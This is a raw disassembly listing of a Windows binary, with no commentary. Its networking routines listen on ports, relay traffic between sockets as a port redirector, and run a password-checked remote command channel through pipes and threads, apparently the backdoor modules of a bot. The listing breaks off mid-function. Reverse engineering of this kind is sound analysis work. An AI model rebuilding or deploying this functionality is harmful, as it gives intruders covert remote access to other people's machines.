		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_4]
		call	dword_4CB684	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	[ebp+var_8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------


loc_41035B:				; CODE XREF: sub_4101FC+A0j
		cmp	[ebp+var_8], esi
		jnz	short loc_410387


loc_410360:				; CODE XREF: sub_4101FC+47j
					; sub_4101FC+6Bj ...
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_434618
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_410387:				; CODE XREF: sub_4101FC+162j
		push	ebx
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_4]
		call	dword_4CB6CC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B412
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_4101FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103AA	proc near		; DATA XREF: sub_401ACD+613Bo

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	dword_4CB634	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_4CB6B4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_410516
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E57C[ecx], eax
		call	dword_4CB544	; WSAAsyncSelect
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB660	; bind
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	[ebp+arg_0]
		call	dword_4CB65C	; listen
		test	eax, eax
		jnz	loc_410516


loc_41045A:				; CODE XREF: sub_4103AA+C6j
					; sub_4103AA+147j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6C8	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_4346C4
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_350]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_43E574[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_41053B
		push	esi
		push	esi
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43E584[ecx], eax
		jz	short loc_410501


loc_4104EE:				; CODE XREF: sub_4103AA+155j
		cmp	[ebp+var_30], esi
		jnz	loc_41045A
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_4104EE
; ---------------------------------------------------------------------------


loc_410501:				; CODE XREF: sub_4103AA+142j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434688
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410519
; ---------------------------------------------------------------------------


loc_410516:				; CODE XREF: sub_4103AA+63j
					; sub_4103AA+97j ...
		mov	edi, [ebp+arg_0]


loc_410519:				; CODE XREF: sub_4103AA+16Aj
		push	edi
		call	dword_4CB6CC	; closesocket
		push	[ebp+arg_0]
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_40]
		call	sub_40B412
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_4103AA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41053B	proc near		; DATA XREF: sub_4103AA+124o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CB6B4	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_4CB634	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4CB674	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4CB6B8	; gethostbyname
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------


loc_4105CB:				; CODE XREF: sub_41053B+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB5EC	; gethostbyaddr


loc_4105D9:				; CODE XREF: sub_41053B+8Ej
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4CB5DC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_43474C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_344]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_43E57C[ebx]
		mov	dword_43E574[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E580[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_410722
		push	edi
		push	edi
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E584[ecx], eax
		jz	short loc_4106DE


loc_41068B:				; CODE XREF: sub_41053B+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_41069A
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_41068B
; ---------------------------------------------------------------------------


loc_41069A:				; CODE XREF: sub_41053B+153j
		mov	ebx, 1000h


loc_41069F:				; CODE XREF: sub_41053B+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB64C	; recv
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB684	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------


loc_4106DE:				; CODE XREF: sub_41053B+14Ej
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43470C
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4106F1:				; CODE XREF: sub_41053B+44j
					; sub_41053B+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_43E57C[eax]
		call	dword_4CB6CC	; closesocket
		push	[ebp+arg_0]
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_4]
		call	sub_40B412
		pop	ecx
		push	edi
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_41053B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410722	proc near		; DATA XREF: sub_41053B+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_410759:				; CODE XREF: sub_410722+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_43E580[esi]
		call	dword_4CB64C	; recv
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_43E57C[esi]
		call	dword_4CB684	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759


loc_4107A0:				; CODE XREF: sub_410722+61j
		push	dword_43E580[esi]
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_410722	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4107BF	proc near		; DATA XREF: sub_410A4D+1BEo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_3D4]
		push	1
		mov	[ebp+var_C], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp+var_208]
		mov	[ebp+arg_0], eax
		imul	eax, 234h
		lea	esi, dword_43E57C[eax]
		xor	edi, edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_1F4], ebx
		mov	eax, [esi]
		mov	[ebp+var_1F0], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	edi
		lea	eax, [ebp+var_1F4]
		push	edi
		push	eax
		push	edi
		call	dword_4CB61C	; select
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB6CC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B412
		pop	ecx
		push	edi
		call	dword_4270CC	; ExitThread


loc_410843:				; CODE XREF: sub_4107BF+6Aj
		push	edi
		lea	eax, [ebp+var_3C]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB64C	; recv
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp+var_F0]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB588	; getpeername
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		push	offset unk_434824
		call	sub_415220
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		call	dword_4270CC	; ExitThread


loc_4108BC:				; CODE XREF: sub_4107BF+D8j
		push	2
		lea	eax, [ebp+var_18]
		push	4
		push	eax
		call	dword_4CB5EC	; gethostbyaddr
		cmp	eax, edi
		jnz	short loc_4108E6
		push	[ebp+var_18]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------


loc_4108E6:				; CODE XREF: sub_4107BF+10Dj
		push	dword ptr [eax]
		lea	eax, [ebp+var_B0]
		push	eax
		call	sub_41BEB0


loc_4108F4:				; CODE XREF: sub_4107BF+125j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43D7E8
		push	dword ptr [esi]
		call	dword_4CB684	; send
		cmp	dword_4CE398, edi
		jnz	short loc_410956
		push	[ebp+var_18]
		lea	eax, [ebp+var_350]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CB684	; send
		push	dword ptr [esi]
		call	dword_4CB6CC	; closesocket
		push	[ebp+arg_0]
		call	sub_40B412
		pop	ecx
		push	edi
		call	dword_4270CC	; ExitThread


loc_410956:				; CODE XREF: sub_4107BF+14Cj
					; sub_4107BF+16Dj
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_4347E8
		call	sub_415220
		push	[ebp+arg_0]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4347BC
		call	sub_415220
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		call	dword_4270CC	; ExitThread


loc_41099D:				; CODE XREF: sub_4107BF+1B9j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	offset unk_434790
		call	sub_415220
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	dword_4270CC	; ExitThread
sub_4107BF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: sub_4107BF+9Ap
					; sub_4107BF+A7p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB64C	; recv
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]


loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB64C	; recv
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------


loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_434850
		call	sub_415220
		pop	ecx


loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------


loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax


loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: sub_4107BF+163p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset unk_43487C
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A4D	proc near		; DATA XREF: sub_401ACD+23D4o

var_5DC		= dword	ptr -5DCh
var_5A4		= byte ptr -5A4h
var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_214]
		push	1
		rep movsd
		pop	edi
		mov	[eax+1DCh], edi
		lea	eax, [ebp+var_5A4]
		push	eax
		push	202h
		call	dword_4CB5A4	; WSAStartup
		xor	esi, esi
		cmp	eax, esi
		jz	short loc_410AA6
		push	eax
		push	offset unk_4349EC
		call	sub_415220
		push	[ebp+var_4C]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		call	dword_4270CC	; ExitThread


loc_410AA6:				; CODE XREF: sub_410A4D+3Aj
		push	edi
		push	offset loc_410CCB
		call	dword_427120	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_410ADF
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4349A8
		call	sub_415220
		pop	ecx
		pop	ecx
		call	dword_4CB58C	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40B412
		pop	ecx
		push	edi
		call	dword_4270CC	; ExitThread


loc_410ADF:				; CODE XREF: sub_410A4D+67j
		push	ebx
		push	10h
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_20], 2
		push	[ebp+var_50]
		call	dword_4CB634	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], esi
		call	dword_4CB6B4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410C56
		mov	eax, [ebp+var_4C]
		push	10h
		imul	eax, 234h
		mov	dword_43E57C[eax], ebx
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	dword_4CB660	; bind
		test	eax, eax
		jnz	loc_410C56
		push	7FFFFFFFh
		push	ebx
		call	dword_4CB65C	; listen
		test	eax, eax
		jnz	loc_410C56
		push	offset unk_43496C
		mov	[ebp+var_10], 0Ch
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		call	sub_4151AC
		pop	ecx
		mov	[ebp+arg_0], edi


loc_410B6E:				; CODE XREF: sub_410A4D+15Aj
					; sub_410A4D+1E4j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		call	dword_4CB6C8	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_410C59
		push	[ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	eax
		push	8
		push	0FFFFh
		push	edi
		call	dword_4CB614	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410B6E
		movzx	eax, [ebp+var_32]
		push	[ebp+var_4C]
		mov	[ebp+var_38], esi
		push	eax
		push	[ebp+var_30]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_434928
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_4151AC
		push	edi
		lea	eax, [ebp+var_414]
		push	9
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_48], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_4C]
		add	esp, 24h
		mov	dword_43E574[eax], ecx
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_214]
		push	esi
		push	eax
		push	offset sub_4107BF
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_48]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43E584[ecx], eax
		jz	short loc_410C41


loc_410C2E:				; CODE XREF: sub_410A4D+1F2j
		cmp	[ebp+var_38], esi
		jnz	loc_410B6E
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_410C2E
; ---------------------------------------------------------------------------


loc_410C41:				; CODE XREF: sub_410A4D+1DFj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4348EC
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410C59
; ---------------------------------------------------------------------------


loc_410C56:				; CODE XREF: sub_410A4D+C8j
					; sub_410A4D+ECj ...
		mov	edi, [ebp+arg_0]


loc_410C59:				; CODE XREF: sub_410A4D+13Cj
					; sub_410A4D+207j
		call	dword_4CB5C8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_4348B4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_3C], esi
		jnz	short loc_410C99
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_40]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_214]
		call	sub_409A72
		add	esp, 14h


loc_410C99:				; CODE XREF: sub_410A4D+22Aj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB6CC	; closesocket
		push	ebx
		call	dword_4CB6CC	; closesocket
		call	dword_4CB58C	; WSACleanup
		push	[ebp+var_4C]
		call	sub_40B412
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread
		pop	ebx


loc_410CCB:				; DATA XREF: sub_410A4D+5Ao
		xor	eax, eax
		cmp	[esp+5E0h+var_5DC], eax
		setz	al
		retn
sub_410A4D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: sub_4107BF+1AFp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E57C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434A4C
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------


loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi	; CreateThread
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434A4C
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	dword_4270AC	; TerminateThread


loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------


loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	dword_427124	; WaitForMultipleObjects
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434A18
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi	; TerminateThread
		push	ebx
		push	dword ptr [esi+10h]
		call	edi	; TerminateThread
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------


loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DDF:				; CODE XREF: sub_410CD5+104j
		call	dword_4270AC	; TerminateThread
		push	1
		push	dword ptr [esi+8]
		call	dword_4270F0	; TerminateProcess


loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi	; CloseHandle
		push	dword ptr [esi+14h]
		call	edi	; CloseHandle
		push	dword ptr [esi+8]
		call	edi	; CloseHandle
		push	dword ptr [esi]
		call	edi	; CloseHandle
		push	dword ptr [esi+4]
		call	edi	; CloseHandle
		push	dword ptr [esi+0Ch]
		call	dword_4CB6CC	; closesocket
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx	; CreatePipe
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434AFC
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------


loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
